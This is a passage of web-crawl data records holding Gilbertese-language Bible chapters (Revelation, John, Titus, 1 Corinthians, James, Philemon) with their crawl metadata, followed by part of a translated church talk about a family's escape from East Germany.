mwaitini booni mwiin te bwai are e karaoia, ni kaokia nakoina; ao kaona ana mwangko n te mooi, ni kauoua te tai korakoran te mooi are e a tia ni karaoi i bukimi. 7Kam na kabatiaa marakina ma nanokaawakina n ai aroni mwaitini kainikatongana ma arona ni maiu ni kaubwai. Bwa e kaangai i nanona Bwaburon, Bon te uea ae te aine ngai, ae I tekateka i aon au kaintokanuea; ao tiaki te aine ae e mate buuna ngai, ma ngaia ae N na bon aki konaa n nanokaawaki. 8Ma ngaia ae a na roko baika a kamaamate irouna n te bong ae ti tebongina, ae te aoraki ae e kamaamate, ma te nanokaawaki ae e bati, ma te rongo; ao e na kabuokaki ni kabaneaki n te ai; bwa E mwaaka te Uea ae te Atua ae e motika taekana. 9Ao uean aonnaba ake a we5ne ni bure ma ngaia ma ni buokanibwai ma ngaia ni maiuna ni kaubwai, a na tang ma n tanginiwenei ibukina, ngkana a noora bubuni buena. 10A na tei mai kiiraroa, bwa a maaku ni marakina; ao a na kaangai, Ai kaawa ra, ai kaawa ra, te kaawa are e kakannato, are Bwaburon, are te kaawa are e korakora! Bwa e roko motikan taekam n te aoa ae ti teuana. 11Ao a tang man tanginiwenei taani bitineti ibukina, bwa ai akea temanna ae e na manga kabooi aia kaakoo mai irouia, 12kaakoo ake koora, ma tirewa, ma atiibu aika a kakaawaki, ma moomi, ma kunnikai aika a karaoaki man te kunnikai ae e tamaaroa ae te mainaina ae te riinen, ao man te kunnikai ae e ura-ro, ma ae e tirika, ma ae e uraura; ao kaakoo naba aika kaai aika a boiarara ni kabane, ma bwaai ni kabane aika a karaoaki mani koroia erebwanti, ao mani kaai nako aika a rangi ni kakaawaki, ao bwaai aika a karaoaki mani buraati ma biiti ma atiibu aika maabora; 13ma te tinneman, ma te amomum, ma baika a boiarara, ma mura, ma riibano, ma te wain, ma bwaan te oriwa, ma te buraawa ae e karaoaki raoi man uiita, ma uiita aika a tuai n riki ni buraawa, ma kaao, ma tiibu, ma aoti, ma kaa aika a katikitikaki irouia aoti, ma tooro, ma taenikai. 14A taetae taani bitineti ao a kaangai, A a nako mai iroum baika a raraoi aika ko maamateakin ni maium, ao a bane ni bua mai iroum kaubwaim ma tamaaroam ae e katika te mata, ao a bon aki manga reke iroum. 15Taani bitineti, ake a reke kaubwaia mai irouna, a na tei mai kiiraroa bwa a maaku ni marakina, ao a na tang ma n tanginiwenei; 16ao a na kaangai, Ai kaawa ra, ai kaawa ra, te kaawa are e kakannato, are e kunnikaiaki n te riinen ae e raoiroi, ma te kunnikai ae e ura-ro, ma ae e uraura, are te kaawa are e katamaaroaaki n te koora ma atiibu aika a kakaawaki ma moomii! 17Bwa a kamaunaaki kaubwai akekei i nanon teuana te aoa. Ao kaaben ma akana boborau nakon te tabo teuana ma teuana, ao kaimoa ma akana a boobwai i tari, a bane n tei mai kiiraroa, 18ao a takaarua ngke a noora bubuni buena, ao a kaangai, Te kaawa ra ae ai aron te kaawa are e kakannato arei? 19A kaaki te tano i aon atuuiia bwa a nanokaawaki, ao a tang ma n tanginiwenei, ao a kaangai, Ai kaawa ra, ai kaawa ra, te kaawa are e kakannato, are a bane n reke maiai kaubwaia te koraki ni kabane ake iai aia kaibuke i marawa, ni kaubwaina; bwa a kamaunaaki kaubwaina i nanon teuana te aoa. 20Ko na kimwaareirei, karawa, n te bwai ae e riki nakoina; ao kam na kimwaareirei naba ngkami aika kam itiaki, ma taan tuatua, ma buraabeti: bwa E karekei kaina te Atua ibukin te baere e karaoi nakoimi. 21Ao temanna te anera ae e korakora e tabeka te atiibu ae e abwaabwaki n te atiibu n ii bwaraua, ae te atiibu ae e abwaabwaki, ao e tewea nako marawa; ao e kaangai, Ao aio aroni Bwaburon, are te kaawa are e kakannato: e na kabwakaaki ni karurunginakoaki, ao e na aki manga nooraki. 22Ao aomata a na aki manga ongo i nanom tangin taian aabi, ma bwanaaia aika a rabakau n anene, ma tangini bwaai ni katangitang aika kaibwabwa, ma tangin taiani bu; ao e na bon aki manga nooraki naba i nanom te aomata ae te tia karaoi bwaai aika a tamaaroa mani bwaai n aekaia nako, ao ai uana naba ma karongoaan te atiibu n ii bwaraua. 23E na bon aki manga oota ootan te taura i nanom, ao a na bon aki manga ongo aomata bwanaan te tia iein ae te mwaane i nanom, ma bwanaan te aine ae a tibwa iein. Bwa a kakannato i aonnaba am aomata aika taani bitineti, ao a bane bootanaomata nako ni mwaamwanaaki n am tabunea. 24A nooraki i nanon te kaawa ae Bwaburon raraaia buraabeti ma ake a itiaki, ao raraaia naba te koraki ni kabaneia ake a kamateaki i aonnaba.\nTE KAOTIOTI 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/18","date":"2013-12-10T20:00:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164024169\/warc\/CC-MAIN-20131204133344-00038-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1035,"character_repetition_ratio":0.062,"word_repetition_ratio":0.025,"special_characters_ratio":0.233,"stopwords_ratio":0.478,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke a tuai ni karikaki bwaai, ao bon iai te Taeka; ao E meemena iroun te Atua, ao bon te Atua te Taeka. 2E meemena te Taeka iroun te Atua ngke a tuai ni karikaki bwaai. 3E kariki bwaai ni kabane te Atua irouna; ao ngke tao akea Ngaia, ao e aki karikaki te bwai teuana ae e karikaki. 4E mena mwiin te maiu irouna; ao ootaia aomata te maiu arei. 5Ao te Oota arei E oota i buakon te roo, ao te roo e aki tokanikai i aona. 6Iai te aomata temanna ae arana Ioane, ae e kanakoaki mai iroun te Atua. 7E roko bwa te tia kakoaua ngaia ibukin te Oota arei, bwa a aonga ni bane aomata n onimaki n ana kaotioti. 8Tiaki te Oota arei Ioane, ma e roko bwa te tia kakoaua ibukin te Oota arei. 9Bon arei te Oota ni koaua, are E roko i aon te aba, ao E oota i aoia aomata ni kabaneia. 10E mena te Taeka i aonnaba, ao e karikaki aonnaba irouna, ma a aki kinaa aomata. 11E roko i abana ni koaua, ma a aki mwaneia n akoia kaain abana. 12Ma iai ake a mwaneia n akoia, ao a onimakinna. E angania aomata akanne te konaa n riki bwa natin te Atua, 13ake a bungiaki tiaki n aroia ataei ake a riki mai irouia tamaia aika aomata; ma E karikiia te Atua bwa natina. 14E riki n aomata te Taeka, ao E maeka i buakora. E on n te aakoi ma te koaua, ao ti noora mimitongina, are mimitongina n arona bwa ti Ngaia Natin te Atua. 15E tataekinna Ioane, ao e kanenea bwanaana ni kaangai, Bon aei Teuare I taekinna ngke I kaangai, Teuare e roko i mwiiu, E kakannato riki nakoiu bwa ai kaman iai Ngaia ma ngkoa i mwaaini bungiakiu. 16Man onrakena n te aakoi ma te koaua, ao ti a karekea iai te aakoaki teuana i mwiin te aakoaki teuana. 17E anganaki te aba te Tua irouni Mote; ma te aakoaki ao te koaua a roko iroun Iesu Kristo. 18Bon akea temanna ae a tia n noora te Atua; te Nati are te rikitemanna, are E meemena i rarikin te Tama, boni Ngaia ae E kaota raoi te Atua nakoia aomata. 19Ao aikai ana taeka Ioane nakoia ibonga ma taian Rewi ake a kanakoaki nakoina irouia I-Iutaia mai Ierutarem, bwa a na titirakinna ni kaangai, Antai ngkoe? 20Ao e kaotia n aki karabaa ao e kaangai, Tiaki te Kristo ngai. 21Ao a manga titirakinna riki ni kaangai, Ao antai ngkoe ngkanne? Eria? Ao ngaia e taku, Tiaki. Ao a manga taku, Te buraabeti ngkoe? Ao ngaia e kaangai, Tiaki. 22Ao a manga taku riki nakoina, Ao ai antai ngkoe? Bwa ti na tuangiia ake a kanakomaira. Tera am kaotioti i bukim? 23Aoo e kaekaia Ioane n ana taekaItaia are te buraabeti, ni kaangai, Ngai bwanaan temanna ae e takaarua n te rereua ni kaangai, Kaeta kawain Iehova. 24Ao ake a kanakoaki boni mai irouia Bwaritaio; 25a titirakina Ioane ni kaangai, E aera ngkai ko bwabwaabetiito ngkai tiaki ngkoe te Kristo, ao tiaki Eria, ao tiaki te buraabeti. 26E kaekaia Ioane ao e kaangai, I bwabwaabetiito n te ran, ma iai temanna ae E tei i buakomi, ae kam aki ataia, 27ae na waaki i mwiiu. I aki tau bwa N na kabwaraa kabaean ana kauniwae. 28A riki kakarabakau aikai i Betania, n iteran te karaanga are te Ioretan mai mainiku, ike e bwabwaabetiito iai Ioane. 29N te bong are i mwiina ao e noora Iesu Ioane ngke E nakoina, ao e taku, Nora ana Tiibutetei te Atua, ae e uoti nako aia bure kaain aonnaba. 30Boni Ngaia are I taekinna ngke I kaangai, E roko i mwiiu te aomata ae e kakannato riki nakoiu, bwa ai kaman iai Ngaia ma ngkoa i mwaaini bungiakiu. 31Akea ataakina irou bwa antai Ngaia, ma I roko ni bwabwaabetiito n te ran bwa e aonga n ataaki irouia Iteraera. 32Ao aikai ana taeka riki Ioane ni kaotioti: I noora te Taamnei bwa E ruo mai karawa n ai aron te taobe, ao E tiku irouna. 33I aki kinaa; ma te Atua are e kanakomaiai bwa N na bwabwaabetiito n te ran E kaangai nakoiu, Te aomata ane ko nooria bwa E ruonna te Taamnei ni mena irouna, ao boni ngaia ane e na bwabwaabetiito n te Taamnei are e Raoiroi. 34I a tia n nooria ao n tataetae ni kakoaua ibukina: bon Natin te Atua Ngaia. 35N te bong are i mwiina, ao e a manga tei Ioane ma ana reirei uoman; 36ao e tarataraa Iesu ngke E nakonako, ao E taku, Nora ana Tiibutetei te Atua! 37Ngke a ongo ana taeka aei ana reirei, ao a nako n ira Iesu. 38E rairaki Iesu, ao E nooriia bwa a iria. E taku nakoia, Tera ae kam ukoukoria? A kaeka ni kaangai, Rabi (ae nanona Te Tia Reirei), Ko maeka ia? 39Ao Ngaia E taku, Nako mai nooria. A roko ao a noora te tabo are E maeka iai; a tiku irouna n te bong arei bwa e a bo aua n te tanimaeaontaai. 40Anterea are tarin Timon boni ngaia temanna irouia uaake uoman ake a ira Iesu i mwiin ongoia iroun Ioane. 41E reke moa irouna tarina are Timon, ao e taku nakoina, E a reke iroura te Mesia (ae nanona Kristo). 42E kairia nakon Iesu; ao Ngaia E taraia ao E taku, Timon ngkoe ae natin Ioane; ko na aranaki bwa Keebwa. 43N te bong are i mwiina, ao E moti n ana iango Iesu bwa E na nako Kariraia. E kaaitibo ma Biribo, ao E taku nakoina, Ko na irai. 44Biribo boni kaaini Betetaita, ae aia kaawa naba Anterea ma Betero. 45Ao Biribo e kunea Natanaera ao e taku nakoina, E a reke iroura Teuare e koreaki taekana irouni Mote ni bokin te Tua ao irouia buraabeti: bon Iesu are te I-Natareta, are natin Iotebwa. 46E taku Natanaera nakoina, E konaa ni kaoti te bwai ae e na kabwaia te aba iai mai Natareta? E taku Biribo nakoina, Mai, nooria. 47Ngke E noora Natanaera Iesu bwa e nakoina, ao aikai ana taeka ibukina: Noria, bon te Iteraera ni koaua ae e bwaabwaina te eti! 48E taku Natanaera nakoina, Ko ataai maia? E kaeka Iesu ni kaangai, I nooriko ngke ko mena i aan te biiku, i mwaaini weteam irouni Biribo. 49E taku Natanaera, Te Tia Reirei, bon Natin te Atua Ngkoe; aia Uea Iteraera Ngkoe. 50E kaeka Iesu ao E taku, Ko onimaki ti ibukin are I tuangko bwa I nooriko i aan te biiku? Ane ko na noori baika a abwaabwaki riki nakoni baikai. 51Ao E taku nakoina, Bon te koaua ni koaua ae I a tuangkami: ane kam na noora karawa bwa e kaukaki, ao ana anera te Atua bwa a rierake ma n ruo rikaki i etan Natin te Aomata.\nIOANE 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/1","date":"2013-12-10T06:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164011870\/warc\/CC-MAIN-20131204133331-00040-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1148,"character_repetition_ratio":0.053,"word_repetition_ratio":0.009,"special_characters_ratio":0.243,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae Bwauro, ana toro te Atua, ao ana tia tuatua Iesu Kristo, ibukin aia onimaki ake a rineaki iroun te Atua, ma ataakin te koaua n te Aro ni Kristian, 2ibukini kaantaningaan te maiu are e aki toki, are E taku 433 te Atua ngke a tuai ni karikaki bwaai, bwa E na angania aomata; ao bon te Atua Ngaia ae e aki konaa ni kewe, 3ma ngke e roko taina ae e riai, ao E kaota ana taeka n te Rongorongo are I mwiokoaki iai, ao I tataekinna n ai aron tuangau iroun te Atua are ara Tia Kamaiu; 4nakon Tito, ae natiu ni koaua n te onimaki are ti buokanibwai iai: am bwai te aakoaki ma te raoiroi mai iroun te Atua ae te Tama ma Kristo Iesu are ara Tia Kamaiu. 5I katikuko i Kirete ibukin aei, bwa ko na kaeti baike a tuai n tia, ao bwa ko na rineiia naba unimwaane n ekaretia ni kaawa nako, n ai aron are I tuangko ngkoa. 6Te unimwa ane e riai n te aomata ae akea kabuaakakaana; e na ti temanna buuna ao taan onimaki natina aika akea irouia te maiu-buaka ke te maiu n aki-ongeaaba. 7Bwa te mataniwi n te ekaretia, ngkai ana touati te Atua ngaia, ao e riai n akea kabuaakakaana. E na tai bwabwaotinia aomata, e na tai kakai un, e na tai mamanging, e na tai kakai oro, ao e na tai kani bwaibwai n te aro ae e aki riai; 8ma e na aakoakoiia iruwa, e na tangira te raoiroi, e na iango raoi, e na bwaabwaina te eti, e na katabua maiuna nakon te Atua, ao e na taona nanona mani baika e tangiri te rabwata; 9e na taua ni kamatoaa te taeka are iai onimakinana are e reireiaki iai, bwa e aonga ni konaa ni kauungaia aomata n te reirei ni koaua, ma ni kaoti aia kaairua te koraki akana ekia nako. 10Bwa a mwaiti aomata aika a rawa ni kani kairaki, aika taani bwarantiko ma taani bureburea te aba; ao mwaitin te koraki anne boni kaain te koroberoaki. 11E riai bwa a na kainaki wiia te koraki aei, aika aomata aika a kabane kaain utu nako n aki karauiia n aia reirei aika a aki riai n anga; ma a anga ibukin te kani bwaibwai n te aro ae aki riai. 12E taku raoia temanna, ae bon aia buraabeti, A aki toki ni bwaina te kewe I-Kirete, boni maan ni kaakang aika a aki manana, ao te koraki ni buabeka aika a aki mwamwakuri. 13E koaua te taeka aei. Ma ngaia ae ko na boaiia n te aro ae e matoatoa, bwa a aonga n onimaki ni koaua, 14ao a aki manga katabeia ma karaki nikawai aika a oteaki aika aia karaki I-Iutaia, ma aia tua aomata aika a ribaa te koaua. 15A bane n itiaki bwaai nakoia akana itiaki; ma akea te bwai ae e itiaki nakoia akana kamwaraa ibukin aia bure ma akana aki onimaki, bwa a uaia ni kamwaraa nanoia ma mataniwiin nanoia. 16A taku bwa a ataa te Atua; ma a kaakeaan aia mwakuri nako. A bati n ribaaki, ao a aki ongeaaba, ao a aki tau nakoni mwakuri aika a raraoi ni kabane.\nTITO Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/","date":"2013-12-05T05:25:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163040022\/warc\/CC-MAIN-20131204131720-00049-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":541,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Taari, I aki tangiringkami bwa kam na aki atai aroni bwaai n tituaraoi ake mai iroun te Taamnei are e Raoiroi. 2Kam ataingkami bwa ngke beekan ngkami ngkoa, ao kam kairaki nakoni bouananti aika a aki konaa n taetae. 3Ma ngaia ae I kaotia nakoimi, bwa bon akea ae kairaki iroun Taamnein te Atua, ae e kaangai, Ke e reke kain Iesu. Ao akea ae e konaa ni kaangai, Te Uea Iesu; ma ti ngkana e kairaki iroun te Taamnei are e Raoiroi. 4Ao a bati aekani bwaai n tituaraoi, ma ti temanna te Taamnei are e anga; 5ao a bati aron nakoa, ma ti temanna te Uea ae e mwakuri te aba ibukina. 6Ao a bati aaro ni mwakuri, ma ti temanna te Atua, ae ma mwakuri i nanoia aomata ni kabaneia ao E buokiia ni bwaai ni kabane aika a karaoi. 7Ao a anganaki aomata nako te bae E karaoia te Taamnei bwa e na nooraki bwa e boongana. 8Bwa e anganaki temanna ana mwakuri iroun te Taamnei bwa te tia taekina te rabakau, ao temanna bwa te tia taekina te atatai, iroun naba te Taamnei aei. 9Ao e anganaki temanna te onimaki, iroun te Taamnei naba aei; ao temanna bwaai n tituaraoi ibukini katokan aoraki, iroun te Taamnei naba aei; 10ao e anganaki temanna karaoani mwakuri aika a kamiimii, ao temanna te taetae ni buraabeti; ao temanna te konaa ni kinai kakaokoro i marenaia tamnei; ao temanna te konaa n taetae n taetae aika a aki ataaki nanoia, ao temanna te konaa ni kabwarabwarai nanoia. 11Bon te Taamnei naba aei ae ti temanna ae e karaoi baikai ni kabane, n tibwatibwai nakoia aomata n tatabemaniia nako n ai aron nanona. 12Kristo ai aron te rabwata ae ti teuana, ae a bati bwaina; ma e boni ngae ni bati bwaina, ma bon te rabwata ae ti teuana. 13Bwa ti bane ni bwaabetitooaki nako nanon te rabwata ae ti teuana iroun te Taamnei ae ti temanna, ngaira aika I-Iutaia ma I-Erene, ma tooro ma inaomata; ao a bane n anganaki nanora te Taamnei ae ti temanna. 14Bwa tiaki ti teuana bwain te rabwata, ma a bati bwaina. 15Ngkana tao e kaangai te wae, Ngkai tiaki te bai ngai, ao tiaki bwain te rabwata ngai; ao tiaki nanona bwa e a riki naba iai bwa tiaki bwain te rabwata. 16Ao ngkana tao e kaangai te taninga, Ngkai tiaki te mata ngai, ao tiaki bain te rabwata ngai; ao tiaki nanona bwa e a riki naba iai bwa tiaki bwain te rabwata. 17Ngkana arona bwa te mata te rabwata ni kabanea, ao e ngaa te ongo? Ao ngkana te taninga te rabwata ni kabanea, ao e ngaa te aroboi? 18Ma E a tia te Atua ni kabane bwain te rabwata n tatabeua nako ni kaaki n te rabwata, n ai aron nanona. 19Ao ngkana arona bwa a bane bwain te rabwata n riki bwa bwaina ae ti teuana, ao e ngaa te rabwata? 20Ma n arona ae ngkai: a bati bwaina, ma te rabwata bon ti teuana. 21Ao e aki konaa ni kaangai te mata nakon te bai, I aki kainnanoiko; ke te atuu nakon te wae ni kaangai, I aki kainnanoingkami. 22Ma moan te kai te nano ngkana akea bwain te rabwata aika a atongaki bwa a mamaara riki; 23ao ti kabatiai riki karineani bwain te rabwata aika ti taku bwa a mangori, ao a mwaiti riki aron tararuaani bwain rabwatara aika a aki tau n te nooraki; 24arora aikai, a aki kainnanoaki ibukini bwain te rabwata aika a tau aroia n te nooraki. Ma te Atua E a tia ni karaoa te rabwata n te aro are e na iai riki karineani bwaina are akea karineana, 25bwa e kaawa n riki te bwenaua n te rabwata, ma a na i aakoakoi bwain nako te rabwata n te aro ae ti te arona nakoia n tatabeua nako. 26Ngkana e maraki bwain te rabwata teuana, ao a bane naba ni maraki bwain nako te rabwata ma ngaia; ao ngkana e karineaki bwain te rabwata teuana, ao a bane bwain nako te rabwata ni kimwaareirei ma ngaia. 27Rabwatani Kristo ngkami, ao bwain rabwatana ngkami n tatabemaningkami. 28Ao E a tia te Atua ni kateia temwaangina i nanon te ekaretia: taan tuatua moa; te kauoua, buraabeti; te katenua, taan reirei; ao i mwiia, taani karaoi mwakuri aika a kamiimii; ao i mwiia, te koraki aika anganaki te bwai n tituaraoi ibukini katokan aoraki; ma taani buobuoki, ma taani kairiri, ma taan taetae n taetae aika a aki ataaki nanoia. 29Taan tuatua aomata ni kabaneia? Buraabeti aomata ni kabaneia? Taan reirei aomata ni kabaneia? Taani karaoi mwakuri aika a kamiimii aomata ni kabaneia? 30Iai irouia aomata nako bwaai n tituaraoi ibukini katokan aoraki? A bane aomata nako n taetae n taetae nako aika a aki ataaki nanoia, ao a konaa ni kabwarai nanoia? 31Ma kam na tangiri riki bwaai n tituaraoi aika moani kakannato.\n1 KORINTO 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/12","date":"2013-12-10T16:48:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022208\/warc\/CC-MAIN-20131204133342-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":821,"character_repetition_ratio":0.104,"word_repetition_ratio":0.02,"special_characters_ratio":0.227,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:33Bwa ngkana ti karini mwakoroni biiti i nanoni wiia aoti ake a na bweenaki iai, bwa a aonga n iri nanora, ao ti a konaa iai ni kairiia nakon te tabo are ti tangiria. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/3","date":"2013-12-07T19:52:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055759\/warc\/CC-MAIN-20131204131735-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999747276,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9999747276306152}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ae e kabureaki ibukini Kristo Iesu, ao mai iroun Timoteo ae tarira; nakoni Biremon ae e tangiraki ae raora ni mwakuri, 2ao nakon te ekaretia ane a bobootaki kaaina i nanon am auti, ao nakon Abebia ae mwaanera ma Arekibo ae raora n tautia: 3Ami bwai te aakoaki ma te raoi mai iroun te Atua ae Tamara ma te Uea are Iesu Kristo. 4I aki toki ni mwanea aram ngkana I tataro, ao I kaaitaua te Atua, 5ngkai I ongo taekan am tangira nakoia ake a itiaki ni kabaneia, ma onimakinan te Uea are Iesu iroum. 6Bon au tataro bwa arom n i-raora ma 437 aomata ibukin am onimaki e na karika irouia ataakin raoi baika a raraoi ni kabane aika iai iroura, aika a kairiira nakoni Kristo. 7Bwa e bati au kimwaareirei ma kabeebetean nanou n am tangira, tariu, bwa a kamaiuaki nanoia ake a itiaki iroum. 8Ma ngaia aei, bwa bon iai au ninikoria ae e bati, ngkai ti uaia n reitaki ma Kristo, n tuangko te bae ko riai ni karaoia. 9Ma ibukin te tangira,ao e a raoiroi riki irou bwa N na butiiko, ngai ae Bwauro, ae te tia ua-rongorongo ae I kabureaki naba ngkai ibukini Kristo Iesu— 10I butiiko ibukin Onetimo ae e riki bwa natiu i nanoni Kristo; bwa i nanon au tai ni kabureaki, ao I a tia n riki bwa kaanga tamana ngai. 11Akea manenana iroum ngkoa, ma iai ngkai manenana nakoim ao nakoiu naba; 12ae I a manga kaokia nakoim, ma nanou ae bane irouna. 13I kan taua bwa e na mena irou, bwa e na bonota mwiim n akoai ngkai I kabaeaki ibukin te euangkerio. 14Ma I aki kani karaoa te bwai teuana, ngkana ko tuai ni kataua; bwa e kaawa n riki aakoakiu iroum bwa te bae ko tebonaki iai, ao tiaki te bae e nako mai nanom. 15Bwa tao e a tia n nako Onetimo mai iroum i nanon te tai ae e aki maan, bwa e aonga ni manga reke iroum ao n tiku iroum n aki toki; 16bwa kaanga ai tiaki am toro, ma e raka rikii arona i aon te toro: bon tetari ae e tangiraki, ai moa ra irou, ma e a moamoa riki nakoim n te aro ni maiu i aon te aba ao n reitaki ma te Uea. 17Ma ngaia aei, ngkana ko taku bwa raom ngai, ao ko na mwaneia n akoia bwa kaanga ngai. 18Ao ngkana tao e a tia ni karaoa ae e kaairua nakoim ngkoa n te bwai teuana, ke tao e taarau iroum, ao ko na taua mwiina i aan arau. 19I a korea aei n tabonibaiu: Ngai ae Bwauro, N na kabooa mwiina nakoim. Tiaki te bwai ae e riai irou bwa N na taekina nakoim ae ko bae irou ibukini maium ni Kristian. 20Eng, tariu, I bia buokaki iroum ibukin te Uea: ko na kamaiua nanou ngkai ko reitaki ma Kristo. 21I koroboki nakoim ma te aki nanokokoraki bwa ko na boni karaoi baika I taekin, ao I ataiko bwa ko na boni karaoa ae e bati riki nakon ae I tuangko. 22Ao i rarikin naba aei, ko na katauraoa te tabo ae N na mena iai: bwa I kaantaninga ae kam na anganaki ngai bwa kaekaan ami tataro. 23E kamauriko Ebwabera, ae raou ni kabaeaki ibukini Kristo Iesu; 24ao a kamauriko naba Mareko, ma Arititareko, ma Tema, ma Ruka, aika raou ni mwakuri. 25E na mena ana aakoi ara Uea are Iesu Kristo irouia taamneimi. Amene.\nBIREMON Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Phlm\/","date":"2013-12-06T20:36:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052469\/warc\/CC-MAIN-20131204131732-00051-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":586,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_64uchtdorfNgkai kam kakukurei ngkami ni kabongana ana mwabe te Tama ae tangira are e katauraoia ibukin mwanangam, e na kairiko nakon te tabo ae tabu ao ko na teirake nakon arom are iai te mwaaka iai\nTi karineaki n te bwakantaai aei ma rokon Beretitenti Thomas S. Monson, ara burabeti Ti tataro n tainako ibukimi.\nTititati aika tangiraki, kam rabwa ibukin te katangitang ao taeka aika a taekinaki. A kaunganano ao a bon tau ibukin te Itita, te tai ae tabu are ti bukamaruia n te wiiki aei.\nBon te kimwareirei ni mena ikai ma ngkami ataeinnaine n ikotaki ma tinami ao ami taan kairiri aika tamaroa. Iai tamneimi aika marurung, ao ngaremi aika anai nano. Ni koauana ao te Uea e tabe ibukimi ao n tarai ngkami ma ieta ma te tangira.\nI ikawai rake i Zwickau, are bon Tiaman Mainiku ngkoa. Ngke tao 11 au ririki, tamau e mena ian te kakae ni kakoauaki bwa te tia boutokaia taan kakaitara, ao a namakinna au karo bwa te kabanea n nakoraoi n rinerine ibukin ara utu a na birinako nako Tiaman Maeao. E iangoaki bwa te kabanea ni mano ni kawai bon te nako n taai aika kakaokoro ao n iri kawai aika kakaokoro nako Maeao, ao ni katikui ara bwai ni kabane.\nNgkai tamau e a rangin ni kararaoma taekana, e ana te kabanea n tawe ni kawai, rinanon Berlin. Tariu ae ikawai riki e nako meang, ao a kakai oin kawaia nako maeao. Mwaneu—ae ti tebo ana ririki ma angiia aika mena ikai n te bong aei—n ikotaki ma Helga Fassmann, ana tia reirei irouia Ataeinnaine, ao tabeman riki a mwananga n te tureen are e na rinanon kaawan Tiaman Maeao. A kaboa te tia tei n te mataroa bwa e na aki kaina teuana te mataroa ibukiia, ao ngke e a tia te turein n rinanon tian Tiaman Maeao, a kibanako man te turein nako kaawan Tiaman ike a kona ni karekea iai te kainaomataki. I kanga ni mataiakina mwaneu ibukin ninikoriana.\nNgai bon te kabanea ni uarereke n ataei, ao tinau e iangoia bwa ngaia ao ngai ti na nakonako rinanon te maunga are e bwenauai aba aika uoua. I uringa e baekini ara katawanou ae kanga ti na nakonako n te kawai ae abwabwaki ke ni bikiniki iaon maunga.\nTi toka n te turein nakon te raroa ae ti kona n nako iai ao imwina ti nakonako inanon te tai ae rangin ni maan, n reitinako ni kaan riki nakon tian Tiaman Maeao. A rangin n tararuaki taian tia, ma iai ara mwabe ao ti ata te tai ao te tabo ae ti na kona ni mano iai n rinanona. I kona ni kina ingaingan nanon tinau. E kamatebwaia te tabo ma nanona ae korakora n taraia ngkana ti iraki. Ma mwanekana n tatabeua nako, rangana ao bubuan waena a moanna ni mamara. I buokia ni uota ana baeki ae rawawata ma te amwarake, ana beeba aika kakawaki, ao tamneia kaain te utu ngke ti tamwarakea te kabanea n tabuki ae abwabwaki. Ni koauana, n ana iango ti a tia ni kitana te tia. Ngke e taraia bwa ti a mano, ti tekateka ao ni moanna ni kana karara ni bikiniki. I kakoaua bwa e a rau.\nN te tai naba anne are ti a tibwa noora te kanikina n te tia. E raroa teutana ma ngaira! Ti karaoa ara bikiniki n iteran te tia ae bure. Ti bon tiku naba i Tiaman Mainiku!\nTaan tararua te tia a kona n roko n te tai ae aki ataki!\nE ienikuri tinau ni nnei kanara, ao ti tamarakea te tabuki ni kawaekoaira n aron ae ti kona. N te tai aei ti aki tangiria n toki ni karokoa ae ti ataia bwa ti a roko n iteran te tia are teuana.\nE ngae ngke a tia kain ara utu n nako ni kawai aika kaokoro ao n rinanon kangaanga aika kakaokoro inanon kawaia, n tokina ti bane n roko n 